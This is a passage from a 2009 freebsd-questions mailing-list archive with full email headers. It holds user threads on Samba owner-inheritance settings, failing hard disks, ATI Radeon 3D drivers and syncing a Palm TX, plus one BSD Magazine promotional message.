iEYEARECAAYFAkqWCs0ACgkQEnfvsMMhpyWNkwCeKyGm6yvip+Djw4FKd6ZCd94f 4HQAmwciictGaiEDceKFmIAB8tS0c5s/ =nm7g -----END PGP SIGNATURE----- --7JfCtLOvnd9MIVvH-- From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 04:54:03 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A9150106568B for ; Thu, 27 Aug 2009 04:54:03 +0000 (UTC) (envelope-from jwdevel@gmail.com) Received: from mail-yw0-f202.google.com (mail-yw0-f202.google.com [209.85.211.202]) by mx1.freebsd.org (Postfix) with ESMTP id 674AC8FC19 for ; Thu, 27 Aug 2009 04:54:03 +0000 (UTC) Received: by ywh40 with SMTP id 40so1014614ywh.14 for ; Wed, 26 Aug 2009 21:54:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=DCdkgOTZ/8qNpml+B+2jRSclaqaLm8mKzxpi+cqUG00=; b=GC8g4gsPHAkIWYSPJxatYsX7Es7BrVQ/eEV4rH8V0GdAxL7Zy5tk9iz7gQfnmDdFDb hoAmOq4pA6+LyWhcoIgSFp+E2PGUYG1sXrRo15+098/EjS5ZBWIld4/ZI1a3Z24WgWDK sMkS283JEuQbuQ7valn7NSW4XNygsqtdJclCI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=u/7NlhX6uXE43T1UDceaUBn9B+L1K5OKvRnKFw9MbAS5hytLz/KOKXByQlMP4qZOkP RPzUxhRYYvt4mMCOHB3pBRHFphcgeAP2n5QD4C8aGOVN3vCpZNL0w3Vujyy5ekS4yfo3 OqAkeMkpUGYjam6DuUm44IXm+DClRHb+LynO0= MIME-Version: 1.0 Received: by 10.90.174.7 with SMTP id w7mr6733097age.11.1251348842548; Wed, 26 Aug 2009 21:54:02 -0700 (PDT) Date: Wed, 26 Aug 2009 21:54:02 -0700 Message-ID: From: John W To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: Can anyone reproduce this Samba problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 04:54:03 -0000 I have been trying to set up a 'dropbox' Samba share on FreeBSD, but am not having luck. I went back and forth on the Samba ML for a bit, and now I'm trying to determine if I am seeing FreeBSD-specific bad behavior. Could anyone out there see if they can reproduce my issue on FreeBSD? I have a simple reproduction case (repeatable for me, at least), and I'm curious if people see the same behavior on: - Samba 3.2 (broken for me) - Samba 3.3 (broken for me) - Samba 3.4 (It's not in ports, I haven't installed it manually yet, but someone with Ubuntu has confirmed it works for them with this version) Here is tail of the old thread with gory details, if anyone's interested: http://www.mail-archive.com/samba@lists.samba.org/msg102359.html So here is what I am trying to do, and how to reproduce my issue: I want a dropbox share, with the sticky bit set, and with the file owner to be inherited from the share directory, for new files/dirs. Note: I do not want to use SUIDDIR if possible. I realize it is an option, but am trying to avoid it for now. So I have a directory like this: drwxrwxr-t 20 nobody myuser 512 Aug 19 20:07 myshare And it is shared in smb.conf like this: [myshare] comment = my share path = /path/to/myshare read only = no inherit permissions = yes inherit owner = yes Now I want to create a directory in this share (from a Windows machine, or smbclient). What I would *expect* is this: drwxrwxr-t 2 nobody myuser 512 Aug 19 14:07 some_new_dir Notice that the sticky bit is set, and the user is set to 'nobody' which will ensure that no users, including the original creator, can alter this directory once created. And in fact, this is what happens when Jeremy Allison tried it on Ubuntu 8.10 with Samba 3.4 (see thread mentioned earlier). HOWEVER, on both my FreeBSD boxes with either Samba 3.2 or 3.3, I instead get this: drwxrwxr-t 2 myuser myuser 512 Aug 19 14:07 some_new_dir Notice the owner is 'myuser' instead of 'nobody'. Thus, the user 'myuser' can now rename the directory (for instance), which is not acceptable. It seems as though 'inherit owner' is just being ignored. I don't know why. Interestingly, if I turn off 'inherit permissions', then 'inherit owner' DOES take effect correctly. However, that means the sticky bit does not get inherited, which will not work for me. I need both to be inherited, and for some reason they are behaving mutually-exclusive (with 'inherit permissions' taking precedence). I have tried this on Samba3.3 and 3.2, both on FreeBSD-7.2_RELEASE (amd64) machines, and neither works. So to sum up: I'd very much appreciate it if some FreeBSD people could try reproducing this with any/all of Samba 3.2,3.3,3.4. I'd also be curious of the results with Samba3.2 or 3.3 on a non-FreeBSD Unix. I'm just trying to determine if I'm crazy or not (: Thanks -John From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 06:20:12 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 68830106568D for ; Thu, 27 Aug 2009 06:20:12 +0000 (UTC) (envelope-from seba@sebaseidl.com) Received: from mail.sebaseidl.com (dyn-86.105.65.105.tm.upcnet.ro [86.105.65.105]) by mx1.freebsd.org (Postfix) with ESMTP id 1E6E38FC1C for ; Thu, 27 Aug 2009 06:20:12 +0000 (UTC) Received: from [192.168.0.1] (unknown [81.196.180.58]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: seba@sebaseidl.com) by mail.sebaseidl.com (Postfix) with ESMTP id 237F656531; Thu, 27 Aug 2009 09:04:42 +0300 (EEST) Message-ID: <4A9621FC.5000207@sebaseidl.com> Date: Thu, 27 Aug 2009 09:04:44 +0300 From: Sebastian Seidl User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: George Davidovich References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826202347.GA27093@slackbox.xs4all.nl> <20090826204539.GC24590@gizmo.acns.msu.edu> <20090826211451.GA88786@marvin.optimis.net> In-Reply-To: <20090826211451.GA88786@marvin.optimis.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 06:20:12 -0000 George Davidovich wrote: > On Wed, Aug 26, 2009 at 04:45:40PM -0400, Jerry McAllister wrote: > >> On Wed, Aug 26, 2009 at 10:23:47PM +0200, Roland Smith wrote: >> >> >>> On Wed, Aug 26, 2009 at 12:13:48PM -0700, George Davidovich wrote: I >>> remember this special non-condictive 3M fluid that can be used to >>> cool electronics. A group of hackers dunked a complete PC minus the >>> case and power supply in this stuff. The fluid itself was cooled >>> with liquid nitrogen. They everclocked it something wicked. Not very >>> practical though. :-) >>> >> A number of supercomputers from Cray and Control Data and maybe some >> other places used this sort of thing on some experimental systems. I >> don't know if any ever were put in to commercial production. They >> submerged who boards in to it and then supercooled the fluid. I >> don't remember the chemical names. >> > > I do, but have no idea why. > > http://en.wikipedia.org/wiki/Perfluorohexane > > >> The fluid was a relative of Freon and held sufficient levels of oxygen >> to support lung breathers. They used to have a tank with a live mouse >> submerged in it bouncing around and seeming to have no trouble not >> choking or drowning. >> > > >> A variation of it was also researched as a blood substitute for some >> special medical needs. I don't know how far that went. I know it >> is not all fantasy because I saw the live mouse. >> > > I believe you. I saw a similar scene in a movie, so I already knew it > had to be true. Bonus points for anyone that can add to this thread's > collection of off-topic but semi-interesting trivia and name the movie. > > >> I didn't try the blood substitute. >> > > How do you save a drowning mouse? > Use mouse to mouse resuscitation. > > Thanks, I'll be here all week. Try the veal instead. > > If the the freezer doesn't work I suggest finding an identical drive and replace the electronic board. Worked for many damaged drives. Regards, Sebastian Seidl From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 06:27:07 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ED39A106568E for ; Thu, 27 Aug 2009 06:27:07 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out0.tiscali.nl (smtp-out0.tiscali.nl [195.241.79.175]) by mx1.freebsd.org (Postfix) with ESMTP id A6BAE8FC21 for ; Thu, 27 Aug 2009 06:27:07 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out0.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MgYRu-0001Fy-MC; Thu, 27 Aug 2009 08:27:06 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgYRY-000NCB-Em; Thu, 27 Aug 2009 08:26:44 +0200 Message-ID: <4A962724.4040204@mapper.nl> Date: Thu, 27 Aug 2009 08:26:44 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Gary Gatten References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com><20090824223247.GD43410@slackbox.xs4all.nl><1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com><20090826180741.GA23120@slackbox.xs4all.nl><20090826191348.GA85581@marvin.optimis.net><20090826231318.3c924090.freebsd@edvax.de><70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> <20090827005339.e2cafb97.freebsd@edvax.de> <70C0964126D66F458E688618E1CD008A0793F4F9@WADPEXV0.waddell.com> In-Reply-To: <70C0964126D66F458E688618E1CD008A0793F4F9@WADPEXV0.waddell.com> X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig886E10D95F5A32046FBC9A5F" Cc: George Davidovich , Polytropon , freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 06:27:08 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig886E10D95F5A32046FBC9A5F Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Gary Gatten wrote: > Naw, I don't recall the POST error exactly, but from what I remember it= > couldn't find a boot device. Could've been the controller, but from > what I recall I swapped the drive (later) and all was good. I really > don't recall though - I could've put the "bad" drive in a good laptop > and fixed it that way - really don't recall details. Wish I could fix > some other problems by throwing them in a freezer! > =20 Some try to solve their marital problems with a freezer... and an axe ;-)= --------------enig886E10D95F5A32046FBC9A5F Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqWJyQACgkQN9xNqOOVnWBNJACgkmHcaEwD2vVGJBQRBftEqDGZ 9doAn0hPRTYSWY8sUO8iG8GPrGMzdJSM =AAbu -----END PGP SIGNATURE----- --------------enig886E10D95F5A32046FBC9A5F-- From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 07:20:16 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B462F106568B for ; Thu, 27 Aug 2009 07:20:16 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 438AB8FC2F for ; Thu, 27 Aug 2009 07:20:15 +0000 (UTC) Received: by bwz2 with SMTP id 2so712101bwz.43 for ; Thu, 27 Aug 2009 00:20:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=dlNRFSrTdDzXcb4NKCm3gNF05u+z2ehw5pQaB7MFXjk=; b=IVLMs2F9y7wpto4O1fyHMk+xqK6sU1JD+wPQJW8Ir3KWMEQV0T6TMghxIjvjJ7uV2w u27eCdXUeXKy/G7F6TP5fgNz1TcZil9JpPj76J1uJWiG6lv4Gl/euSwsNMae5vrjsgX1 NQ//MSBHbfTBCuY3irE4c8HAsd5ARwVtBsLHU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=hbSSsYRlT+8dzOl/yBFL3Tluf/b+7Xc19WGn8s3NBL09HYpadHL7Ui7QzVoHbhqQa9 +35TLknIusuf28a0UKLP0aG5gc8LZ3yuyxBO/sWIttpPoihr956B+UT/c8C+8lmgcJgb 8jUJr8bHjigetLku4sLQo5K41b+H3j8CfvSP0= MIME-Version: 1.0 Received: by 10.102.178.9 with SMTP id a9mr4122345muf.91.1251357613424; Thu, 27 Aug 2009 00:20:13 -0700 (PDT) Date: Thu, 27 Aug 2009 08:20:13 +0100 Message-ID: From: Jeronimo Calvo To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 07:20:16 -0000 Hi folks, I am setting up a fresh installation of Freebsd on a EMT64 machine... everything is working smooth so far, but im wondering some things about the 3D support from my graphic card, i bought that card few weeks ago (stupid me i didnt read about ATU support under FreeBSD before...) but btw i can not step back... Im trying to get 3D aceleration for that card... noticed that after setting up X11 xorg.conf... Driver used is "radeon", I'd been reading about the possibility of using others... what is the best option? I noticed that im unable to set activate the desktop affects, that makes me wonder... that 3d is not working properly innit?? Can somebody help me with this?? Cheers fellas! From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 07:36:26 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D34B3106568C for ; Thu, 27 Aug 2009 07:36:26 +0000 (UTC) (envelope-from marc@blackend.org) Received: from abigail.blackend.org (ns0.blackend.org [82.227.222.164]) by mx1.freebsd.org (Postfix) with ESMTP id 5E86B8FC3A for ; Thu, 27 Aug 2009 07:36:25 +0000 (UTC) Received: from gothic.blackend.org (gothic.blackend.org [192.168.1.203]) by abigail.blackend.org (8.13.4/8.13.3) with ESMTP id n7R7aNE4082069; Thu, 27 Aug 2009 09:36:23 +0200 (CEST) (envelope-from marc@abigail.blackend.org) Received: from gothic.blackend.org (localhost [127.0.0.1]) by gothic.blackend.org (8.14.3/8.14.3) with ESMTP id n7R7aNpA001378; Thu, 27 Aug 2009 09:36:23 +0200 (CEST) (envelope-from marc@gothic.blackend.org) Received: (from marc@localhost) by gothic.blackend.org (8.14.3/8.14.3/Submit) id n7R7aMpj001377; Thu, 27 Aug 2009 09:36:22 +0200 (CEST) (envelope-from marc) Date: Thu, 27 Aug 2009 09:36:22 +0200 From: Marc Fonvieille To: Tony McC Message-ID: <20090827073622.GA1252@gothic.blackend.org> References: <20090826185425.1cd3b7d9@elena> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826185425.1cd3b7d9@elena> X-Useless-Header: blackend.org X-Operating-System: FreeBSD 8.0-BETA3 User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 07:36:26 -0000 On Wed, Aug 26, 2009 at 06:54:25PM +0100, Tony McC wrote: > Hello, > > I am running FreeBSD 8.0-BETA3 amd64 and am having trouble syncing my > Palm TX with jpilot. This used to work with 7.2-STABLE amd64 and I > suspect I'm just not using the usb: connection correctly but have not > been able to find a solution by searching the archives. > > I am running a custom kernel with "device uvisor" commented out, though > the same problem occurs if I recompile with uvisor included. > [...] First you need to have uvisor(4) loaded (compiled in the kernel or via the loaded module). Last uvisor(4) revision was not merged in BETA3 so you will have to wait for the merge or directly grab it from http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/sys/dev/usb/serial/uvisor.c?rev=1.12;content-type=text%2Fplain;only_with_tag=HEAD replace you src/sys/dev/usb/serial/uvisor.c with that one and rebuild your module/kernel Then if you plug your device and launch Hotsync on the Palm a /dev/cuaU0 device should appear. You should check that. If you have jpilot installed, palm/pilot-link tools are installed (be sure it was compiled with USB support), so once the /dev/cuaU0 device node is created you can type: # pilot-xfer -p /dev/cuaU0 -l this should list the installed files on your device, # pilot-xfer -p /dev/cuaU0 -b your_backup_dir to backup your palm on your PC. If these commands worked, then jpilot should work as well. -- Marc From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 08:02:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4BACE1065690 for ; Thu, 27 Aug 2009 08:02:19 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out0.tiscali.nl (smtp-out0.tiscali.nl [195.241.79.175]) by mx1.freebsd.org (Postfix) with ESMTP id D6D4D8FC39 for ; Thu, 27 Aug 2009 08:02:18 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out0.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MgZw1-000382-HY; Thu, 27 Aug 2009 10:02:17 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgZw0-000OsH-5V; Thu, 27 Aug 2009 10:02:16 +0200 Message-ID: <4A963D85.2030505@mapper.nl> Date: Thu, 27 Aug 2009 10:02:13 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeronimo Calvo References: In-Reply-To: X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigDD2F497E42FA38010CE5E00C" Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 08:02:19 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigDD2F497E42FA38010CE5E00C Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Jeronimo Calvo wrote: > Hi folks, > > I am setting up a fresh installation of Freebsd on a EMT64 machine... > everything is working smooth so far, but im wondering some things about= the > 3D support from my graphic card, i bought that card few weeks ago (stup= id me > i didnt read about ATU support under FreeBSD before...) but btw i can n= ot > step back... Im trying to get 3D aceleration for that card... noticed t= hat > after setting up X11 xorg.conf... Driver used is "radeon", I'd been rea= ding > about the possibility of using others... what is the best option? I not= iced > that im unable to set activate the desktop affects, that makes me wonde= r... > that 3d is not working properly innit?? > > Can somebody help me with this?? > > Cheers fellas! > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd= =2Eorg" > =20 Hello, In order to help you we need some more information regarding your system and setup. First of all: which hardware are you using exactly? Most importantly the make and model of you graphics card. Second: which version of FreeBSD are you using? Preferably, post the output of the following command: uname -a Besides that I would give the redeonhd driver a go. I don't have much experience with these though, As i have an Nvidia card (amd64 support please!! :'( ) Greetz, Mark --------------enigDD2F497E42FA38010CE5E00C Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqWPYcACgkQN9xNqOOVnWC9eACeNTG9ZB+GhrsMllopISoDHzd9 Y20An3D1MxsTz/HkClhGIuwxM8I0nTxu =2FYx -----END PGP SIGNATURE----- --------------enigDD2F497E42FA38010CE5E00C-- From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 08:09:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 235A0106568B for ; Thu, 27 Aug 2009 08:09:48 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 9746F8FC40 for ; Thu, 27 Aug 2009 08:09:47 +0000 (UTC) Received: by bwz2 with SMTP id 2so731797bwz.43 for ; Thu, 27 Aug 2009 01:09:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=XP5t8XOrkFklr8OvMbkHtD1t3e4zg2DrI1OiIF8v8eo=; b=vE+/DgBN7/hmYELoER9t1xBWmKaY9rxje3/FzFvjsKBEtYGQuuLF82AMSx8IQgCbqw m/fK0RL8+Ms4JysYnt5SGlWSIWfbrOYcvJfmQ5K1x5oPcu5T4xNXKT5XuDvgB3f3QS6Y c/8N8y8bhZvF2gnUANhpRock83SkTqCETlN9g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=RLgPEFlioikATD3w+DSccMCwQCQZikWfljiAyG6m33nvOtCaGpZvOr2Tt2cVP1sV/z nh0ecOIP351l+gMCwAk+7D/ZjeV8U+gMTQB2EDqgr1+F/nmFEGM8tq4jBsUM92an33QZ H/GRyfCbbYTanHtSZ6pTTootWvT8poU6PzeVw= MIME-Version: 1.0 Received: by 10.204.34.196 with SMTP id m4mr4604786bkd.62.1251360586232; Thu, 27 Aug 2009 01:09:46 -0700 (PDT) In-Reply-To: <4A963D85.2030505@mapper.nl> References: <4A963D85.2030505@mapper.nl> Date: Thu, 27 Aug 2009 09:09:46 +0100 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 08:09:48 -0000 Hi mate! The card is an: ATI Radeon=99 HD 4550 Graphics Technology running on:# unam= e -a FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC 2009 iscariote@:/usr/obj/usr/src/ cheers! sys/MYKERNEL amd64 2009/8/27 Mark Stapper > Jeronimo Calvo wrote: > > Hi folks, > > > > I am setting up a fresh installation of Freebsd on a EMT64 machine... > > everything is working smooth so far, but im wondering some things about > the > > 3D support from my graphic card, i bought that card few weeks ago (stup= id > me > > i didnt read about ATU support under FreeBSD before...) but btw i can n= ot > > step back... Im trying to get 3D aceleration for that card... noticed > that > > after setting up X11 xorg.conf... Driver used is "radeon", I'd been > reading > > about the possibility of using others... what is the best option? I > noticed > > that im unable to set activate the desktop affects, that makes me > wonder... > > that 3d is not working properly innit?? > > > > Can somebody help me with this?? > > > > Cheers fellas! > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > > > Hello, > > In order to help you we need some more information regarding your system > and setup. > First of all: which hardware are you using exactly? Most importantly the > make and model of you graphics card. > > Second: which version of FreeBSD are you using? Preferably, post the > output of the following command: > uname -a > > > Besides that I would give the redeonhd driver a go. > I don't have much experience with these though, As i have an Nvidia card > (amd64 support please!! :'( ) > Greetz, > Mark > > From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 08:23:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 82C14106568C for ; Thu, 27 Aug 2009 08:23:19 +0000 (UTC) (envelope-from michal.gladecki@software.com.pl) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 237AC8FC33 for ; Thu, 27 Aug 2009 08:23:18 +0000 (UTC) Received: by fxm6 with SMTP id 6so737022fxm.43 for ; Thu, 27 Aug 2009 01:23:17 -0700 (PDT) Received: by 10.103.125.17 with SMTP id c17mr4275319mun.16.1251359576891; Thu, 27 Aug 2009 00:52:56 -0700 (PDT) Received: from ?10.10.20.106? (ns.software.com.pl [62.111.243.82]) by mx.google.com with ESMTPS id 23sm6248803mum.5.2009.08.27.00.52.56 (version=SSLv3 cipher=RC4-MD5); Thu, 27 Aug 2009 00:52:56 -0700 (PDT) Message-ID: <4A963B71.5030106@software.com.pl> Date: Thu, 27 Aug 2009 09:53:21 +0200 From: =?ISO-8859-2?Q?Micha=B3_G=B3adecki?= User-Agent: Thunderbird 2.0.0.19 (X11/20090105) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.org Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: BSD Magazine - cooperation X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 08:23:19 -0000 Hello, I represent BSD magazine and I am writing to present you with a great offer that we have for the users of your website. If you buy the current issue of BSD: 3/2009 (5), scan the receipt and send to editors@bsdmag.org you will get archives of Linux+ magazine and BSD magazine and 30% off for a subscription. I was wondering whether you could place this info and/or the whole newsletter somewhere on your website. I am looking forward to hearing from you. Best wishes, Michal Gladecki From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 08:30:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 551B61065690 for ; Thu, 27 Aug 2009 08:30:21 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out1.tiscali.nl (smtp-out1.tiscali.nl [195.241.79.176]) by mx1.freebsd.org (Postfix) with ESMTP id A98918FC20 for ; Thu, 27 Aug 2009 08:30:20 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out1.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MgaN9-0006S3-Kc; Thu, 27 Aug 2009 10:30:19 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgaN6-0000Yl-Ad; Thu, 27 Aug 2009 10:30:16 +0200 Message-ID: <4A964415.6030008@mapper.nl> Date: Thu, 27 Aug 2009 10:30:13 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeronimo Calvo References: <4A963D85.2030505@mapper.nl> In-Reply-To: X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig214BFFF7C5719A46BD163EDB" Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 08:30:21 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig214BFFF7C5719A46BD163EDB Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Jeronimo Calvo wrote: > Hi mate! > > > The card is an: ATI Radeon=99 HD 4550 Graphics Technology running on:= > > # uname -a > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC > 2009 